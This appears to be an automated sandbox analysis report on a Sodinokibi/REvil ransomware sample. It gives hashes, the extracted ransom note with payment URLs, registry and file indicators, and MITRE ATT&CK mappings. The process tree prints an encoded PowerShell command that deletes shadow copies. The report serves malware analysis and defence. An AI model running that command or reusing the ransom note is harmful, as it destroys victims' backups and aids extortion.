sodinokibi | adef0855d17dd8dddcb6c4446e58aa9f5508a0453f53dd3feff8d034d692616f

General

Target

1.exe
Size

234KB
MD5

f084eae234967eded358d98d11aed693
SHA1

e841d89f5605108f6304d50ebb384aa62ec3ecaa
SHA256

adef0855d17dd8dddcb6c4446e58aa9f5508a0453f53dd3feff8d034d692616f
SHA512

8d66f0319741f4daad87919a3f48605e7f81a5556009c8575ae0aff95c2ddd78116bdaf74e10509a6f908f45e0155c71eb320274154c7016cbb72a09d5618d59

Score

10^/10

ransomware evasion spyware trojan sodinokibi persistence

Malware Config

Extracted

Path

C:\t7724q5-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion t7724q5. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9A926EB94FA105AA 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/9A926EB94FA105AA c) If you are having difficulty purchase bitcoins, or you doubt in buying decryptor, contact to any data recovery company in your country, they will give you more guarantees and take purchase and decryption procedure on themselves. Almost all such companies heared about us and know that our decryption program work, so they can help you. Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: LdbvHplrksXGQgGBsw4J/d5wKvUD3+QslDBuP703X/imiQmV7m9NmJFk9NfgHCAX PJWWaMk1RZWpYlcipITKEmG2Hdg0wqzka2HCSQK67qKNy57iNWnSeAwNzfQMqYw0 a8t/TmM6Q83mK8EJyqY1tlIVMNr5uYYaWNjqH9fs42v8TBnVDHvklQ15qqZtdWg4 X2k9MXmDaasQ2Gmse03NuQtcYYuFKYK3lSK41PbT34RgIU6yS/OS/wFKhj+E216/ SGdCWWqIHmk5dQyE/2QQuGLVWFY9WjpxFVuwDakYoFJKtqDdq/GffXlzYHuiaJAE ssTDkL6hnprkzWxsnsOBEf/FzXHA/yUhQ4uuYKqf9N5s6LWP+XM8LhH52b0/5Z/G s7y20VJwfwx/Pkj0wVs2Dd0t554A23pvj7DUHEvo3rMhZXqKaNxHfyWZHnuwZfVa tvzuvbmBYuzGwbN/s9Jk97LOTHILum6TUch28L9UhsBeuNnzN0cMnoIT/hQ4oDrl JckdZRzuDjQvinFlkbuppGgMKtJXe/TfEXIJn2bKfBBE0pBSTTUQOp1kI+JdWCMF ++Tyb1uGGKC+JoN06wkRa92aeKsUN0WZOzTChTNly06/7Ha2/PP2IpJKRKo9MoUj jgCEbnVEQhUDKcm6BRX2i+d+ZN+m+C+AR70/KAAVFqfJcP3u+jZx8muBaOfIuL5z 3YE1Y2kiKOsfY6Or5Gh9SMQaslpORqTNQQApp91Pz5eed2RNK9xa+VBof6h+LQU9 Gnw3mLKQ60ZuZmfma9oUR0AuKVkA3SPtEjkidt/C89eycnQVladW9BCbaFE2JGQr g2+nseCqXDOWV1VsYqwGvKzvIiW0VMxQ0VPfVKPKiHJIH5CDKBTAyppdEhvu0iVT lHjOuWeGLkhP5LMdYz8wzlsqgUk44q0uRgbD6gaN//IoqnFzs+TitlMf2TDZcieC iuzzucgfb10/P8w0IKIUNAUm8fVllwG3FsgGNf8NzD4TfYP/Rksl36Mu4njdy89n L8r5YfCRtC9tnSex+xvFrhIfFgZLeHK3hl0F0z9tzMJBe/vv+GrJoKoAALHI+B3X xqW0np8D7zRDBAYTXEIxqnlrrB+w9hmvKWeVjGhNgEHZEi/3kdQgZd8Mr4+KH0JQ w5Jhp6wz4FdWqPjO Extension name: t7724q5 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9A926EB94FA105AA

http://decryptor.top/9A926EB94FA105AA

Signatures

Drops file in System32 directory 1 IoCs

Processes:

1.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt 1.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	1.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

1.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	1.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	1.exe

Drops file in Program Files directory 18 IoCs

Processes:

1.exe

description	ioc	process
File opened for modification	\??\c:\program files\AssertWatch.tif	1.exe
File opened for modification	\??\c:\program files\DisableTest.midi	1.exe
File opened for modification	\??\c:\program files\OptimizeInitialize.pptx	1.exe
File opened for modification	\??\c:\program files\TestOptimize.jpe	1.exe
File opened for modification	\??\c:\program files\CheckpointBlock.dxf	1.exe
File created	\??\c:\program files\microsoft sql server compact edition\t7724q5-readme.txt	1.exe
File opened for modification	\??\c:\program files\UnprotectFind.tif	1.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\t7724q5-readme.txt	1.exe
File created	\??\c:\program files\t7724q5-readme.txt	1.exe
File created	\??\c:\program files (x86)\t7724q5-readme.txt	1.exe
File opened for modification	\??\c:\program files\GrantSkip.vdw	1.exe
File opened for modification	\??\c:\program files\MoveSave.ADTS	1.exe
File opened for modification	\??\c:\program files\PublishTrace.mp4v	1.exe
File opened for modification	\??\c:\program files\RemoveFormat.3gp	1.exe
File opened for modification	\??\c:\program files\ResumeRename.csv	1.exe
File opened for modification	\??\c:\program files\NewCompress.m4a	1.exe
File opened for modification	\??\c:\program files\SkipUnprotect.inf	1.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\t7724q5-readme.txt	1.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

1.exepowershell.exe

pid process

532 1.exe
1508 powershell.exe
1508 powershell.exe

pid	process
532	1.exe
1508	powershell.exe
1508	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

1.exe

description	pid	process	target process
PID 532 wrote to memory of 1508	532	1.exe	powershell.exe
PID 532 wrote to memory of 1508	532	1.exe	powershell.exe
PID 532 wrote to memory of 1508	532	1.exe	powershell.exe
PID 532 wrote to memory of 1508	532	1.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeBackupPrivilege	700	vssvc.exe
Token: SeRestorePrivilege	700	vssvc.exe
Token: SeAuditPrivilege	700	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

1.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\4e2658z.bmp"	1.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

C:\Users\Admin\AppData\Local\Temp\1.exe
"C:\Users\Admin\AppData\Local\Temp\1.exe"
1⤵
- Drops file in System32 directory
- Modifies system certificate store
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Sets desktop wallpaper using registry
PID:532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1508

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1788

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:700

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

memory/532-0-0x0000000004F6B000-0x0000000004F6C000-memory.dmp

Filesize
4KB

Download
memory/532-1-0x0000000006770000-0x0000000006781000-memory.dmp

Filesize
68KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads